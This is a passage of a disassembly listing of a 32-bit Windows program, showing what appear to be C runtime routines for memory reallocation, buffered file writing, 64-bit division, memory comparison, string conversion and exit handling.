		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	loc_41958F


loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_48B680
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi


loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h


loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542


loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi


loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_48B684
		call	near ptr 2700000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi


loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h


loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567


loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi


loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2820000h
		mov	edi, eax


loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588


loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_48A074, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------


loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi


loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_43B7E4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------


loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi


loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h


loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588


loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 2700000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi


loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2820000h
		mov	edi, eax


loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588


loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_48A074, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi


loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 2820000h
		test	eax, eax
		jnz	short loc_4196EA


loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_48A074, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA


loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax


loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------


loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax


loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE


loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------


loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx


loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5


loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------


loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1


loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]


loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------


loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi


loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2680391h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2640A83h
		push	eax
		call	sub_41EF44
		pop	ecx


loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_48A014, 0Dh
		mov	dword_48A018, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------


loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6


loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi


loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi


loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A


loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D


loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------


loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh


loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0


loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax


loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F86+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3


loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9


loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_48A0A8, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3


loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------


loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		nop
		call	near ptr 2640A83h
		cmp	eax, 7Ah
		jz	short loc_419A44


loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_4395A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax


loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C


loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------


loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_48A0A8, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_48A0B8
		call	near ptr 2620000h
		nop
		cmp	eax, esi
		jz	short loc_419A35


loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax


loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43956C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73


loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_48A05C, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		nop
		call	near ptr 2780E84h
		push	eax
		nop
		call	near ptr 27D0C34h


loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_48A058, edi
		mov	byte_48A054, bl
		jnz	short loc_419B78
		mov	eax, dword_48B69C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_48B698
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66


loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax


loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_48B69C
		jnb	short loc_419B53


loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi


loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx


loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_48A05C, edi
		nop
		call	near ptr 77E75CB5h


loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax


loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27C0CA1h
		test	eax, eax
		jnz	short loc_419BD0
		nop
		call	near ptr 2640A83h
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------


loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax


loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 0A15F59EDh, 0D4E15D5Dh, 0B56EAFE7h, 64458B06h, 0A1h
		dd 89645000h, 25h, 58EC8300h, 89575653h, 0E890E865h, 2417E9Ah
		dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h
		dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h
		dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah
		dd 59000000h, 0E8FC7589h, 5967h, 417E2FE8h, 8CA39002h
		dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h
		dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 0E850A445h, 2416378h
		dd 54A1E890h, 45890000h, 0D045F69Ch, 0F067401h,	0EBD445B7h
		dd 580A6A03h, 9C75FF50h, 0D5E85656h, 90022F6Fh,	49F7E850h
		dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh
		dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_48A068, 1
		jnz	short loc_419CE8
		call	sub_41F84C


loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_439590
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 48A0683Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0BF93E890h
		db 0A5h, 77h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172AE+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_43BCD8
		jz	short loc_419D83
		cmp	esi, offset dword_43BCF8
		jnz	short loc_419D8E


loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95


loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------


loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_43BC20


